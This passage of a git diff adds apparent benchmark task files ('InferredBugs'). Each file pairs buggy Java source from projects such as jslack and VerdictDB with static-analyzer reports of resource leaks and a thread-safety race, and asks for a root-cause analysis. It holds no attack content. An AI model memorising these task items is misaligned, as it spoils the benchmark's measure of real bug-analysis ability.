+                assertEquals(3.423d, entry.getScore());
+            }
+        }
+
+        assertEquals("ssssssss", map.get("k1").getValue());
+        assertEquals("wwwwwwww", map.get("k3").getValue());
+
+        assertEquals(true, map.containsKey("z1"));
+        assertEquals(true, map.containsKey("z2"));
+        assertEquals(true, map.containsKey("z3"));
+        assertEquals(true, map.containsKey("z4"));
+
+        assertEquals(0, map.get("key_in_zeroth_database").getDb().getDbNumber());
+        assertEquals(2, map.get("key_in_second_database").getDb().getDbNumber());
+
+        assertEquals("efgh", map.get("abcd").getValue());
+        assertEquals("bar", map.get("foo").getValue());
+        assertEquals("baz", map.get("bar").getValue());
+        assertEquals("abcdef", map.get("abcdef").getValue());
+        assertEquals("thisisalongerstring.idontknowwhatitmeans", map.get("longerstring").getValue());
+
+        assertEquals(new Date(1671963072573l), new Date(map.get("expires_ms_precision").getExpiredMs()));
+    }
+
+    public void template(String filename, final ConcurrentHashMap<String, KeyValuePair> map) {
+        try {
+            Replicator replicator = new RedisReplicator(RdbParserTest.class.
+                    getClassLoader().getResourceAsStream(filename)
+                    , Configuration.defaultSetting());
+            replicator.addRdbListener(new RdbListener.Adaptor() {
+                @Override
+                public void handle(Replicator replicator, KeyValuePair<?> kv) {
+                    map.put(kv.getKey(), kv);
+                }
+            });
+            replicator.open();
+        } catch (Exception e) {
+            TestCase.fail();
+        }
+    }
+}
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `com.moilioncircle.redis.replicator.RedisReplicator` acquired by call to `RedisReplicator(...)` at line 168 is not released after line 175.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void RdbParserTest.template(String,ConcurrentHashMap)
+
+### Procedure Id:
+com.moilioncircle.redis.replicator.rdb.RdbParserTest.template(java.lang.String,java.util.concurrent..079a94815cac559415b61aee6d53ff86
+
+### File:
+src/test/java/com/moilioncircle/redis/replicator/rdb/RdbParserTest.java
+
+### Key:
+RdbParserTest.java|template|RESOURCE_LEAK
+
+### Node Key:
+b0ed25eec6c25e7c4348974d51cf6b89
+
+### Hash:
+4eace1ccbf25e60e6a513edeb6a08e16
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5537/instruction.md b/inferredbugs-5537/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..eca584138bc07b36efbc3b01660d9d72d03734aa
--- /dev/null
+++ b/inferredbugs-5537/instruction.md
@@ -0,0 +1,360 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** jslack
+**Bug ID:** 4
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package test_with_remote_apis.methods;
+
+import com.google.gson.JsonObject;
+import com.google.gson.JsonParser;
+import com.slack.api.Slack;
+import com.slack.api.SlackConfig;
+import com.slack.api.methods.SlackApiException;
+import com.slack.api.methods.request.channels.ChannelsInviteRequest;
+import com.slack.api.methods.response.channels.ChannelsInviteResponse;
+import com.slack.api.model.Conversation;
+import com.slack.api.model.User;
+import com.slack.api.model.event.HelloEvent;
+import com.slack.api.model.event.UserTypingEvent;
+import com.slack.api.rtm.*;
+import com.slack.api.rtm.message.Message;
+import com.slack.api.rtm.message.PresenceQuery;
+import com.slack.api.rtm.message.PresenceSub;
+import com.slack.api.rtm.message.Typing;
+import config.Constants;
+import config.SlackTestConfig;
+import lombok.extern.slf4j.Slf4j;
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+import util.TestChannelGenerator;
+import util.sample_json_generation.JsonDataRecordingListener;
+
+import javax.websocket.DeploymentException;
+import java.io.IOException;
+import java.net.URISyntaxException;
+import java.util.Arrays;
+import java.util.concurrent.atomic.AtomicInteger;
+
+import static org.hamcrest.CoreMatchers.*;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.hamcrest.Matchers.greaterThanOrEqualTo;
+
+@Slf4j
+public class rtm_Test {
+
+    String botToken = System.getenv(Constants.SLACK_SDK_TEST_BOT_TOKEN);
+    String channelCreationToken = System.getenv(Constants.SLACK_SDK_TEST_USER_TOKEN);
+    User currentUser;
+
+    static SlackTestConfig testConfig = SlackTestConfig.getInstance();
+    static Slack slack = Slack.getInstance(testConfig.getConfig());
+
+    @AfterClass
+    public static void tearDown() throws InterruptedException {
+        SlackTestConfig.awaitCompletion(testConfig);
+    }
+
+    JsonParser jsonParser = new JsonParser();
+
+    @Before
+    public void loadBotUser() throws IOException {
+        if (currentUser == null) {
+            RTMClient rtm = slack.rtmConnect(botToken);
+            currentUser = rtm.getConnectedBotUser();
+        }
+    }
+
+    @Slf4j
+    public static class HelloHandler extends RTMEventHandler<HelloEvent> {
+        public final AtomicInteger counter = new AtomicInteger(0);
+
+        @Override
+        public void handle(HelloEvent event) {
+            counter.incrementAndGet();
+        }
+    }
+
+    public static class SubHelloHandler extends HelloHandler {
+    }
+
+    @Slf4j
+    public static class UserTypingHandler extends RTMEventHandler<UserTypingEvent> {
+        @Override
+        public void handle(UserTypingEvent event) {
+        }
+    }
+
+    @Test
+    public void test() throws Exception {
+        String channelName = "test" + System.currentTimeMillis();
+        TestChannelGenerator channelGenerator = new TestChannelGenerator(testConfig, channelCreationToken);
+        Conversation channel = channelGenerator.createNewPublicChannel(channelName);
+        try {
+            String channelId = channel.getId();
+
+            // need to invite the bot user to the created channel before starting an RTM session
+            inviteBotUser(channelId);
+
+            String botToken = System.getenv(Constants.SLACK_SDK_TEST_BOT_TOKEN);
+
+            RTMEventsDispatcher dispatcher = RTMEventsDispatcherFactory.getInstance();
+            HelloHandler hello = new HelloHandler();
+            dispatcher.register(hello);
+
+            SubHelloHandler hello2 = new SubHelloHandler();
+            dispatcher.register(hello2);
+
+            dispatcher.register(new UserTypingHandler());
+
+            SlackTestConfig testConfig = SlackTestConfig.getInstance();
+            Slack slack = Slack.getInstance(testConfig.getConfig());
+
+            try (RTMClient rtm = slack.rtmConnect(botToken)) {
+                rtm.addMessageHandler(dispatcher.toMessageHandler());
+
+                rtm.connect();
+                Thread.sleep(1000L);
+                assertThat(hello.counter.get(), is(1));
+                assertThat(hello2.counter.get(), is(1));
+
+                rtm.reconnect();
+                Thread.sleep(1000L);
+                assertThat(hello.counter.get(), is(2));
+                assertThat(hello2.counter.get(), is(2));
+
+                dispatcher.deregister(hello);
+
+                rtm.reconnect();
+                Thread.sleep(1000L);
+                assertThat(hello.counter.get(), is(2)); // should not be incremented
+                assertThat(hello2.counter.get(), is(3));
+            }
+
+        } finally {
+            channelGenerator.archiveChannel(channel);
+        }
+    }
+
+    @Test
+    public void rtmStart() throws Exception {
+        // TODO: "prefs" support
+        SlackConfig config = new SlackConfig();
+        config.setLibraryMaintainerMode(false);
+        config.getHttpClientResponseHandlers().add(new JsonDataRecordingListener());
+        Slack slack = Slack.getInstance(config);
+
+        String channelName = "test" + System.currentTimeMillis();
+        TestChannelGenerator channelGenerator = new TestChannelGenerator(testConfig, channelCreationToken);
+        Conversation channel = channelGenerator.createNewPublicChannel(channelName);
+        try {
+            String channelId = channel.getId();
+
+            // need to invite the bot user to the created channel before starting an RTM session
+            inviteBotUser(channelId);
+
+            Thread.sleep(3000);
+
+            try (RTMClient rtm = slack.rtmStart(botToken)) {
+                User user = rtm.getConnectedBotUser();
+
+                assertThat(user.getId(), is(notNullValue()));
+                assertThat(user.getTeamId(), is(notNullValue()));
+                assertThat(user.getName(), is(notNullValue()));
+                assertThat(user.getProfile(), is(notNullValue()));
+                assertThat(user.getProfile().getBotId(), is(notNullValue()));
+
+                verifyRTMClientBehavior(channelId, rtm);
+            }
+        } finally {
+            channelGenerator.archiveChannel(channel);
+        }
+    }
+
+    @Ignore
+    @Test
+    public void rtmConnect_withoutFullConnectedUserInfo() throws Exception {
+        try (RTMClient rtm = slack.rtmConnect(botToken, false)) {
+            User user = rtm.getConnectedBotUser();
+            assertThat(user.getId(), is(notNullValue()));
+            assertThat(user.getName(), is(notNullValue()));
+
+            assertThat(user.getTeamId(), is(nullValue()));
+            assertThat(user.getProfile(), is(nullValue()));
+        }
+    }
+
+    private void inviteBotUser(String channelId) throws IOException, SlackApiException {
+        ChannelsInviteResponse invitation = slack.methods().channelsInvite(ChannelsInviteRequest.builder()
+                .token(channelCreationToken)
+                .user(currentUser.getId())
+                .channel(channelId)
+                .build());
+        assertThat(invitation.getError(), is(nullValue()));
+    }
+
+    private void verifyRTMClientBehavior(String channelId, RTMClient rtm)
+            throws IOException, DeploymentException, InterruptedException, SlackApiException, URISyntaxException {
+
+        final AtomicInteger counter = new AtomicInteger(0);
+
+        RTMMessageHandler handler1 = new RTMMessageHandler() {
+            @Override
+            public void handle(String message) {
+                JsonObject json = jsonParser.parse(message).getAsJsonObject();
+                if (json.get("error") == null) {
+                    counter.incrementAndGet();
+                }
+            }
+        };
+        RTMMessageHandler handler2 = new RTMMessageHandler() {
+            @Override
+            public void handle(String message) {
+                log.debug("handler 2 - " + message);
+            }
+        };
+        rtm.addMessageHandler(handler1);
+        rtm.addMessageHandler(handler2);
+        rtm.connect();
+
+        Thread.sleep(3000);
+
+        // won't be captured by onMessage
+        rtm.sendMessage(Typing.builder()
+                .id(System.currentTimeMillis())
+                .channel(channelId)
+                .build().toJSONString());
+
+        rtm.sendMessage(Message.builder()
+                .id(System.currentTimeMillis())
+                .channel(channelId)
+                .text("Hi!")
+                .build().toJSONString());
+
+        // won't be captured by onMessage
+        rtm.sendMessage(Typing.builder()
+                .id(System.currentTimeMillis())
+                .channel(channelId)
+                .build().toJSONString());
+
+        rtm.sendMessage(Message.builder()
+                .id(System.currentTimeMillis())
+                .channel(channelId)
+                .text("Hi!!")
+                .build().toJSONString());
+
+        rtm.removeMessageHandler(handler2);
+
+        Thread.sleep(3000);
+
+        rtm.disconnect();
+
+
+        // {"type":"error","error":{"msg":"Cannot create connection","code":3,"source":"gs-pdx-8k9l"}}
+        // rtm.connect();
+
+        // if you hit the rate limit, you need to wait for 1 min here.
+        // https://api.slack.com/docs/rate-limits#rtm
+        // Rate limits also apply to the rtm.start and rtm.connect methods for obtaining the URL needed to connect to a websocket.
+        // Limit requests to these methods to no more than 1 per minute, with some bursting behavior allowed.
+        // If you enter rate limit conditions when trying to fetch websocket URLs, you won't be able to reconnect until the window passes.
+//        Thread.sleep(60000);
+        Thread.sleep(3000);
+
+        // refresh wss endpoint and start a new session
+        rtm.reconnect();
+
+        Thread.sleep(3000);
+
+        // returns {"type":"presence_change","presence":"active","user":"U8P5K4***"}
+        rtm.sendMessage(PresenceQuery.builder().ids(Arrays.asList(currentUser.getId())).build().toJSONString());
+        rtm.sendMessage(PresenceSub.builder().ids(Arrays.asList(currentUser.getId())).build().toJSONString());
+
+        rtm.sendMessage(Message.builder()
+                .id(System.currentTimeMillis())
+                .channel(channelId)
+                .text("Hi!!!")
+                .build().toJSONString());
+
+        Thread.sleep(3000);
+
+        // two hello message + three messages
+        // {"type": "hello"}
+        // {"ok":true,"reply_to":1553324756489,"ts":"1553324756.000700","text":"Hi!"}
+        // {"ok":true,"reply_to":1553324756490,"ts":"1553324756.000800","text":"Hi!!"}
+        // {"type": "hello"}
+        // {"ok":true,"reply_to":1553324822460,"ts":"1553324822.000900","text":"Hi!!!"}
+        assertThat(counter.get(), is(greaterThanOrEqualTo(5)));
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `com.slack.api.Slack` acquired to `slack` by call to `getInstance(...)` at line 141 is not released after line 154.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void rtm_Test.rtmStart()
+
+### Procedure Id:
+test_with_remote_apis.methods.rtm_Test.rtmStart():void.ddea956c7ca7638b3416101026265a43
+
+### File:
+slack-api-client/src/test/java/test_with_remote_apis/methods/rtm_Test.java
+
+### Key:
+rtm_Test.java|rtmStart|RESOURCE_LEAK
+
+### Node Key:
+8ecb320a9de85aa5af66c2009d0f61f9
+
+### Hash:
+aedafbc5f6f0d11c81b7bc874e202b3f
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5612/instruction.md b/inferredbugs-5612/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..23ee94d6449777fda3dc7265d6aff4630ba3db1a
--- /dev/null
+++ b/inferredbugs-5612/instruction.md
@@ -0,0 +1,579 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** verdictdb
+**Bug ID:** 18
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.verdictdb.core.execution;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
+
+import org.apache.commons.lang3.builder.ToStringBuilder;
+import org.apache.commons.lang3.builder.ToStringStyle;
+import org.verdictdb.connection.DbmsConnection;
+import org.verdictdb.core.execution.ola.AggExecutionNodeBlock;
+import org.verdictdb.core.query.AbstractRelation;
+import org.verdictdb.core.query.BaseTable;
+import org.verdictdb.core.query.SelectQuery;
+import org.verdictdb.core.rewriter.ScrambleMeta;
+import org.verdictdb.exception.VerdictDBException;
+import org.verdictdb.exception.VerdictDBValueException;
+
+import com.google.common.base.Optional;
+
+public abstract class QueryExecutionNode {
+
+//  DbmsConnection conn;
+  
+  SelectQuery selectQuery;
+
+  QueryExecutionPlan plan;
+
+  // initialized, running, or complete
+  String status = "initialized";
+  
+  // these are assumed to be not order-sensitive
+  List<QueryExecutionNode> parents = new ArrayList<>();
+
+  // these are assumed to be not order-sensitive
+  List<QueryExecutionNode> dependents = new ArrayList<>();
+  
+  int successDependentCount = 0;
+  
+  int failedDependentCount = 0;
+
+  // these are the queues to which this node will broadcast its results (to upstream nodes).
+  List<ExecutionTokenQueue> broadcastingQueues = new ArrayList<>();
+
+  // these are the results coming from the producers (downstream operations).
+  // multiple producers may share a single result queue.
+  // these queues are assumed to be order-sensitive
+  private List<ExecutionTokenQueue> listeningQueues = new ArrayList<>();
+
+  // latest results from listening queues
+  private List<Optional<ExecutionInfoToken>> latestResults = new ArrayList<>();
+  
+  public QueryExecutionNode(QueryExecutionPlan plan) {
+    this.plan = plan;
+  }
+
+  public QueryExecutionNode(QueryExecutionPlan plan, SelectQuery query) {
+    this(plan);
+    this.selectQuery = query;
+  }
+  
+  public SelectQuery getSelectQuery() {
+    return selectQuery;
+  }
+  
+  public void setSelectQuery(SelectQuery query) {
+    this.selectQuery = query;
+  }
+  
+  public List<QueryExecutionNode> getParents() {
+    return parents;
+  }
+
+  public List<QueryExecutionNode> getDependents() {
+    return dependents;
+  }
+  
+  public QueryExecutionNode getDependent(int index) {
+    return dependents.get(index);
+  }
+  
+  public synchronized String getStatus() {
+    return status;
+  }
+  
+  public synchronized void setStatus(String status) {
+    this.status = status;
+  }
+  
+  public QueryExecutionPlan getPlan() {
+    return plan;
+  }
+  
+  public void executeAndWaitForTermination(DbmsConnection conn) throws VerdictDBValueException {
+    try {
+      ExecutorService executor = Executors.newFixedThreadPool(plan.getMaxNumberOfThreads());
+      execute(conn, executor);
+      executor.shutdown();
+      executor.awaitTermination(Long.MAX_VALUE, TimeUnit.NANOSECONDS);  // convention for waiting forever
+    } catch (InterruptedException e) {
+      e.printStackTrace();
+    }
+  }
+
+  /**
+   * For multi-threading, run executeNode() on a separate thread.
+   * 
+   * @param resultQueue
+   * @throws VerdictDBValueException 
+   */
+  public void execute(final DbmsConnection conn, ExecutorService executor) throws VerdictDBValueException {
+    if (listeningQueues.size() != latestResults.size()) {
+      throw new VerdictDBValueException("Field constraint mismatch.");
+    }
+    
+    // The fact that it is not in "initialized" means this node already have been into "running" status before.
+    // Also, the children of this node have already been called execute() method.
+    if (!getStatus().equals("initialized")) {
+      return;
+    }
+    
+    // Start the execution of all children
+    // Some of those children may have already started by its another parent; then, calling execute()
+    // will have no effect.
+    for (QueryExecutionNode child : dependents) { 
+      child.execute(conn, executor);
+    }
+    
+    // Now we start the execution of this current node.
+    // Set the status of this node
+    setStatus("running");
+    System.out.println("Starts the exec of " + this);
+    
+    executor.submit(new Runnable() {
+      int process(DbmsConnection conn, List<ExecutionInfoToken> tokens) {
+        try {
+          ExecutionInfoToken rs = executeNode(conn, tokens);
+          broadcast(rs);
+          return 0;
+        } catch (VerdictDBException e) {
+          e.printStackTrace();
+        }
+        return -1;
+      }
+      
+      @Override
+      public void run() {
+        while (true) {
+          // no dependency
+          if (listeningQueues.size() == 0) {
+            int ret = process(conn, Arrays.<ExecutionInfoToken>asList());
+            if (ret == 0) {
+              broadcast(ExecutionInfoToken.successToken());
+              setSuccess();   // only for printing purpose
+            } else {
+              broadcast(ExecutionInfoToken.failureToken());
+              setFailure();   // only for printing purpose
+            }
+            break;
+          }
+          
+          // dependency exists
+          readLatestResultsFromDependents();    // update both (1) status and (2) latestQueue
+          
+          try {
+            TimeUnit.SECONDS.sleep(1);
+            System.out.println(QueryExecutionNode.this);
+            System.out.println(successDependentCount);
+            System.out.println(failedDependentCount);
+//            System.out.println();
+          } catch (InterruptedException e) {
+            // TODO Auto-generated catch block
+            e.printStackTrace();
+          }
+          
+          // base conditions
+          if (doesFailedDependentExist()) {
+            broadcast(ExecutionInfoToken.failureToken());
+            setFailure();    // only for printing purpose
+            break;
+          }
+          if (areDependentsAllSuccess()) {
+            broadcast(ExecutionInfoToken.successToken());
+            setSuccess();    // only for printing purpose
+            break;
+          }
+          
+          // see if a complete set of results are available
+          List<ExecutionInfoToken> latestResults = getLatestResultsIfAvailable();
+//          System.out.println(QueryExecutionNode.this);
+          System.out.println(QueryExecutionNode.this.latestResults);
+          System.out.println(latestResults);
+          if (latestResults == null) {
+            continue;
+          }
+          
+          int ret = process(conn, latestResults);
+          if (ret != 0) {
+            broadcast(ExecutionInfoToken.failureToken());
+            setFailure();   // only for printing purpose
+            break;
+          }
+          
+        } // end of while loop
+        
+      }
+    });
+    
+   
+    
+    // should immediately return without waiting for the termination of jobs
+  }
+
+  /**
+   * This function must not make a call to the conn field.
+   * @param downstreamResults
+   * @return
+   * @throws VerdictDBException 
+   */
+  public abstract ExecutionInfoToken executeNode(
+      DbmsConnection conn, 
+      List<ExecutionInfoToken> downstreamResults)
+      throws VerdictDBException;
+  
+  void addParent(QueryExecutionNode parent) {
+    parents.add(parent);
+  }
+
+  // setup method
+  public void addDependency(QueryExecutionNode dep) {
+    dependents.add(dep);
+    dep.addParent(this);
+  }
+
+  // setup method
+  public ExecutionTokenQueue generateListeningQueue() throws VerdictDBValueException {
+    ExecutionTokenQueue queue = new ExecutionTokenQueue();
+    listeningQueues.add(queue);
+    latestResults.add(Optional.<ExecutionInfoToken>absent());
+    if (listeningQueues.size() != latestResults.size()) {
+      throw new VerdictDBValueException("Invalid field constraint.");
+    }
+    return queue;
+  }
+
+  // setup method
+  public void addBroadcastingQueue(ExecutionTokenQueue queue) {
+    broadcastingQueues.add(queue);
+  }
+  
+  public void clearBroadcastingQueues() {
+    broadcastingQueues.clear();
+  }
+  
+  public List<ExecutionTokenQueue> getBroadcastingQueues() {
+    return broadcastingQueues;
+  }
+  
+  public ExecutionTokenQueue getBroadcastingQueue(int index) {
+    return broadcastingQueues.get(index);
+  }
+  
+  public List<ExecutionTokenQueue> getListeningQueues() {
+    return listeningQueues;
+  }
+  
+  public ExecutionTokenQueue getListeningQueue(int index) {
+    return listeningQueues.get(index);
+  }
+
+  public boolean isSuccess() {
+    return getStatus().equals("success");
+  }
+  
+  public boolean isFailed() {
+    return getStatus().equals("failed");
+  }
+
+  void setSuccess() {
+    setStatus("success");
+  }
+  
+  void setFailure() {
+    setStatus("failure");
+  }
+
+  void broadcast(ExecutionInfoToken result) {
+    for (ExecutionTokenQueue listener : broadcastingQueues) {
+      listener.add(result);
+//      System.out.println(new ToStringBuilder(this) + " sent: " + result);
+    }
+  }
+
+  void readLatestResultsFromDependents() {
+    for (int i = 0; i < listeningQueues.size(); i++) {
+      if (latestResults.get(i).isPresent()) {
+        continue;
+      }
+      
+      ExecutionInfoToken rs = listeningQueues.get(i).poll();
+      if (rs == null) {
+        // do nothing
+      } else if (rs.isStatusToken()) {
+        if (rs.isSuccessToken()) {
+          successDependentCount++;
+        } else if (rs.isFailureToken()) {
+          failedDependentCount++;
+        }
+      } else {
+        latestResults.set(i, Optional.of(rs));
+        System.out.println(new ToStringBuilder(this) + " Received: " + rs.toString());
+      }
+    }
+  }
+
+  List<ExecutionInfoToken> getLatestResultsIfAvailable() {
+    boolean allResultsAvailable = true;
+    List<ExecutionInfoToken> results = new ArrayList<>();
+    for (Optional<ExecutionInfoToken> r : latestResults) {
+      if (!r.isPresent()) {
+        allResultsAvailable = false;
+        break;
+      }
+      results.add(r.get());
+    }
+    if (allResultsAvailable) {
+      clearCachedLatestResults();
+      return results;
+    } else {
+      return null;
+    }
+  }
+  
+  void clearCachedLatestResults() {
+    int size = latestResults.size();
+    for (int i = 0; i < size; i++) {
+      latestResults.set(i, Optional.<ExecutionInfoToken>absent());
+    }
+  }
+
+  boolean areDependentsAllComplete() {
+    if (successDependentCount + failedDependentCount >= dependents.size()) {
+      return true;
+    } else {
+      return false;
+    }
+    
+//    boolean allComplete = true;
+//    for (ExecutionInfoToken t : tokens) {
+//      if (t.isSuccessToken() || t.isFailureToken()) {
+//        // do nothing
+//      } else {
+//        allComplete = false;
+//        break;
+//      }
+//    }
+//    return allComplete;
+    
+//    for (QueryExecutionNode node : dependents) {
+//      System.out.println(node.getStatus());
+//      if (node.isSuccess() || node.isFailed()) {
+//        // do nothing
+//      } else {
+//        return false;
+//      }
+//    }
+//    return true;
+  }
+  
+  boolean areDependentsAllSuccess() {
+    if (successDependentCount >= dependents.size()) {
+      return true;
+    } else {
+      return false;
+    }
+//    boolean allSuccess = true;
+//    for (ExecutionInfoToken t : tokens) {
+//      if (t.isSuccessToken()) {
+//        // do nothing
+//      } else {
+//        allSuccess = false;
+//        break;
+//      }
+//    }
+//    return allSuccess;
+  }
+  
+  boolean doesFailedDependentExist() {
+    return failedDependentCount > 0;
+  }
+
+//  // identify nodes that are (1) aggregates and (2) are not descendants of any other aggregates.
+//  List<AggExecutionNodeBlock> identifyTopAggBlocks() {
+//    List<AggExecutionNodeBlock> aggblocks = new ArrayList<>();
+//    
+//    if (this instanceof AggExecutionNode) {
+//      AggExecutionNodeBlock block = new AggExecutionNodeBlock(plan, this);
+//      aggblocks.add(block);
+//      return aggblocks;
+//    }
+//    for (QueryExecutionNode dep : getDependents()) {
+//      List<AggExecutionNodeBlock> depAggBlocks = dep.identifyTopAggBlocks();
+//      aggblocks.addAll(depAggBlocks);
+//    }
+//    
+//    return aggblocks;
+//  }
+  
+  
+
+  /**
+   * 
+   * @param scrambleMeta
+   * @return True if there exists scrambledTable in the from list or in the non-aggregate subqueries.
+   */
+  boolean doesContainScrambledTablesInDescendants(ScrambleMeta scrambleMeta) {
+    if (!(this instanceof AggExecutionNode) && !(this instanceof ProjectionExecutionNode)) {
+      return false;
+    }
+    
+    SelectQuery query = (SelectQuery) getSelectQuery();
+    if (query == null) {
+      return false;
+    }
+    List<AbstractRelation> sources = query.getFromList();
+    for (AbstractRelation s : sources) {
+      if (s instanceof BaseTable) {
+        String schemaName = ((BaseTable) s).getSchemaName();
+        String tableName = ((BaseTable) s).getTableName();
+        if (scrambleMeta.isScrambled(schemaName, tableName)) {
+          return true;
+        }
+      }
+      // TODO: should handle joined tables as well.
+    }
+    
+    for (QueryExecutionNode dep : getDependents()) {
+      if (dep instanceof AggExecutionNode) {
+        // ignore agg node since it will be a blocking operation.
+      } else {
+        if (dep.doesContainScrambledTablesInDescendants(scrambleMeta)) {
+          return true;
+        }
+      }
+    }
+    return false;
+  }
+  
+  List<QueryExecutionNode> getLeafNodes() {
+    List<QueryExecutionNode> leaves = new ArrayList<>();
+    if (getDependents().size() == 0) {
+      leaves.add(this);
+      return leaves;
+    }
+    
+    for (QueryExecutionNode dep : getDependents()) {
+      leaves.addAll(dep.getLeafNodes());
+    }
+    return leaves;
+  }
+
+  public abstract QueryExecutionNode deepcopy();
+  
+  void copyFields(QueryExecutionNode from, QueryExecutionNode to) {
+    to.selectQuery = from.selectQuery.deepcopy();
+    to.status = from.status;
+    to.parents.addAll(from.parents);
+    to.dependents.addAll(from.dependents);
+    to.broadcastingQueues.addAll(from.broadcastingQueues);
+    to.listeningQueues.addAll(from.listeningQueues);
+    to.latestResults.addAll(from.latestResults);
+  }
+  
+  public void print() {
+    print(0);
+  }
+  
+  void print(int indentSpace) {
+    StringBuilder builder = new StringBuilder();
+    for (int i = 0; i < indentSpace; i++) {
+      builder.append(" ");
+    }
+    builder.append(this.toString());
+    System.out.println(builder.toString());
+    
+    for (QueryExecutionNode dep : dependents) {
+      dep.print(indentSpace + 2);
+    }
+  }
+  
+  @Override
+  public String toString() {
+    return new ToStringBuilder(this, ToStringStyle.DEFAULT_STYLE)
+        .append("status", status)
+        .append("listeningQueues", listeningQueues)
+        .append("broadcastingQueues", broadcastingQueues)
+        .append("latestResults", latestResults)
+        .append("selectQuery", selectQuery)
+        .toString();
+  }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `org.verdictdb.core.execution.QueryExecutionNode.print` indirectly reads without synchronization from `this.org.verdictdb.core.execution.QueryExecutionNode.status`. Potentially races with write in method `QueryExecutionNode.setStatus(...)`.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void QueryExecutionNode.print(int)
+
+### Procedure Id:
+org.verdictdb.core.execution.QueryExecutionNode.print(int):void.a8f5f93c639824c9eba7f0da802c5d18
+
+### File:
+src/main/java/org/verdictdb/core/execution/QueryExecutionNode.java
+
+### Key:
+QueryExecutionNode.java|print|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+112d1df9a018dc9a2eb8cca7dbd0bcab
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5615/instruction.md b/inferredbugs-5615/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..dc809e514ace1dfdc94fe7259ee05ebd8b28ff7c
--- /dev/null
+++ b/inferredbugs-5615/instruction.md
@@ -0,0 +1,740 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** verdictdb
+**Bug ID:** 7
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package edu.umich.verdict.relation;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+import java.util.Map;
+
+import com.google.common.base.Joiner;
+import com.google.common.base.Optional;
+
+import edu.umich.verdict.VerdictContext;
+import edu.umich.verdict.datatypes.TableUniqueName;
+import edu.umich.verdict.relation.condition.Cond;
+import edu.umich.verdict.relation.condition.IsCond;
+import edu.umich.verdict.relation.condition.NullCond;
+import edu.umich.verdict.relation.expr.BinaryOpExpr;
+import edu.umich.verdict.relation.expr.CaseExpr;
+import edu.umich.verdict.relation.expr.ColNameExpr;
+import edu.umich.verdict.relation.expr.ConstantExpr;
+import edu.umich.verdict.relation.expr.Expr;
+import edu.umich.verdict.relation.expr.ExprModifier;
+import edu.umich.verdict.relation.expr.FuncExpr;
+import edu.umich.verdict.relation.expr.OverClause;
+import edu.umich.verdict.relation.expr.SelectElem;
+import edu.umich.verdict.util.VerdictLogger;
+
+public class ApproxAggregatedRelation extends ApproxRelation {
+
+    private ApproxRelation source;
+
+    private List<SelectElem> elems;
+
+    private boolean includeGroupsInToSql = true;
+
+    public ApproxAggregatedRelation(VerdictContext vc, ApproxRelation source, List<SelectElem> elems) {
